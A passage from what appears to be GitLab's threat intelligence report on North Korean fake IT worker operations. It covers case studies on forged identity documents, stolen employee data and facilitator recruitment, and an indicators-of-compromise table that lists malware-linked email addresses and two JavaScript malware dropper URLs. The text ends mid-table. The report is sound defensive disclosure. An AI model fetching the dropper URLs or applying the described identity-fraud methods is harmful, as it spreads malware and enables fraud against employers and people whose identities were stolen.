Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.\n\n\n\n    ![Distribution of purported account origins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png)\n\n\n\n\n    ![Distribution of identity verification results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png)\n\n\n    The threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.\n\n\n    #### Implications\n\n\n    This cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.\n\n\n    Identity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.\n\n\n    #### Mitigations\n\n\n    We banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.\n\n\n\n    ### Case Study 3: North Korean Operator Controlling 21 Personas\n\n\n    #### Summary\n\n\n    We identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.\n\n\n    #### Key findings\n\n\n    We identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.\n\n\n    The threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.\n\n\n    ![Doctored U.S. identity documents containing the threat actor’s photograph.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png \"Doctored U.S. identity documents containing the threat actor’s photograph.\")\n\n\n    The threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.\n\n\n    #### Implications\n\n\n    This threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.\n\n\n    #### Mitigation\n\n\n    We banned the account associated with this operator.\n\n\n\n    ### Case Study 4: North Korean Fake IT Worker Operating from Central Moscow\n\n\n    #### Summary\n\n\n    We identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.\n\n\n    #### Key findings\n\n\n    We identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025\\. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.\n\n\n    Repository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.\n\n\n    In early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.\n\n\n    In April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.\n\n\n    ![Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png \"Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.\")\n\n\n    The threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at `55°43'44.4\"N 37°36'55.8\"E`, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.\n\n\n    ![Map depicting the location stored in EXIF metadata on images of the threat actor. ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png \"Map depicting the location stored in EXIF metadata on images of the threat actor.\")\n\n\n    The threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.\n\n\n    #### Implications\n\n\n    This incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.\n\n\n    This incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.\n\n\n    #### Mitigations\n\n\n    We banned the account associated with this activity.\n\n\n    *Saksham Anand contributed to this report.*\n\n\n    ## Appendix 1: GitLab Threat Intelligence Estimative Language\n\n\n    We use specific language to convey the estimated probability attached to assessments. We also use words including \"possible\" and \"may\" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available [here](https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf).\n\n\n    | Estimative Term | Almost Certainly Not | Highly Unlikely | Unlikely | Real Chance | Likely | Highly Likely  | Almost Certain |\n\n    | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n\n    | Probability Range | 0 - 10% | 10 - 25% | 25 - 40% | 40 - 60% | 60 - 75% | 75 - 90% | 90 - 100% |\n\n\n\n    ## Appendix 2: Indicators of Compromise\n\n\n    We recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.\n\n\n    | Indicator | Type | Risk | First Seen | Last Seen | Comment | Case Study |\n\n    | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n\n    | `aleks.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `aleksander.malinowski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `anatol.baranski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `anton.plonski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `ben.moore0622@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `edward.harley@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `iwan.banicki@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `johnwilson0825@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `kevin.brock@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `richard.francis10@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `robert.radwanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `roman.bobinski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `roman.ulanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `stefan.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n\n    | `taraslysenko@mail.io` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `corresol28@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `corresol28@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `paniker1110@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `walterjgould77@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `supernftier@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `bohuslavskyir@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `artizjusz11@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `bartonfratz@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `cryptodev26@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `deinsulabasil@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `elsaadanifaiek@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `felipe.debarros@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `geordiecuppaidge684@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `greatbusinessman517@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `jhmnuykbvgftrss@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `kainmcguire@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `kimberlysunshine137@yahoo.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `konovalov1256@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `kvashinalexander@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `markstevemark85@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `oleksandrbokii963@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `paniker1110@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `rubenbolanos19733@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `simpsonkeith686@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `sonniehutley5@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `tagi238761@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `vlulepet9@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n\n    | `cnova.business.en@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `danielmcevily.business918@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jaimetru003@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `daysabethtederstz7533@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `thiagocosta199295@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `cptrhzv09@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `chainsaw1107@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `mutsabsaskajgig0f@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `snowl3784@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `dieterwang@proton.me` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `cesarpassos4808@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `lazar.master.0204@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `lujancamryn405@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `harryjason19880502@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `fraserhutchison1@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `stovbanoleksandr14@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `ramirezhector9299@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `mimoriokamoto@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `wilson.wen2145@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jasonfissionawgyi08293@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `olelangaard9@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `mirandacunningham1993@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jerryjames1997@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `caryphillips.business727@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `soft.business1103@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `soft.business1024@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `soft.business1020@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `soft.business0987@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `alphabrownsapon70555@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `welbykchamu4i72@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `eron4236@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `reddixyxzh551438@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `soft.business1112@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `richardcook.business93@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jamesgolden198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `erik423131@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `alfredogomez1984126@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jasonharris198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `xavieryetikqpir36636@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `marcello.armand.tf7@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `gabriel.sanchez255@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `aronlin712@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `rickcarr1014@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `sallydunnet.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `dr.md.hubert.business916@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `tommyrole0301@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jbutton717@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `lilian.rodrigues.re@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `andrewtilley.us@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `davidaheld.manager@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `lovelysong0209@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `moreandmore082@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `meirjacob727@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `harry.work206@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `abdelrahman5520032019@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `karenhooi.cpa.cga.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `craigsmith93.business@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `paulodiego0902@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `faelanholtmdjld41341@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `encar.geric727510@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `irynalavreniuk38@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `melnikoleg995@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `opalinsigniagyprt29567@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `thorneaustinngzsz52979@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `joshuataub3@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `itspeterszabo@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `xylosmontagueujsvt83787@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `ivicastojadin488@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `seed1996017@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `bryandev0418@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `ruslanlarionov77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `superdev@outlook.com.au` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `cristhianmartinezrom7@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `natasa.golubovic90@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `weili.walk@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `afaq91169@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `mahmodghnaj1@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `look.as.united@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `rochaevertondev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `tabishhassan01998@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `temorexviashvili17@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `vovalishcn77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `seed1996015@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `suryaedg88@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `maurostaver9@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `pleasemeup214@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `vitalii214.ilnytskyi@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `reactangulardev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `skyearth711@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `migueljose81234@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `seed1996010@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `blackwang104@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `kagan.hungri@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `littebaby232355@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `kenycarl92@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `arnas.tf7@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `nandawsu58@hotmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `magalhaesbruno236@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `martytowne03@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `peter@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `martinez@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `peterforward@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `rick.cto@dantelabs.us` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `tomgleeson92@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `huqyyitizomu@hotmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `tracykevin5590@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `seniorsky92@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `meftaht531@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `tapiasamjann@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `johnwatson2327a@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `donald.edler0626@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `chrisritter5272@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `hs8179189@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `dredsoft@proton.me` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `bloxdev1999@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `star712418@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jackson.murray.tf7@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `hudsonramsey107@outlook.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `samjanntapia@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `dyup58725@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `davidfernandez420@outlook.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `scottdavis8188@gmail.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `samjannt1211@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `ahmed03010229@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `hidranomagica@outlook.com` | email | malware | N/A | March 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `jackson.blau.eth@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `agne09541@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `antontarasiuk0512@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `michael.dilks8500@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `ignacioquesada127@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n\n    | `http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n\n    | `http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n\n    | 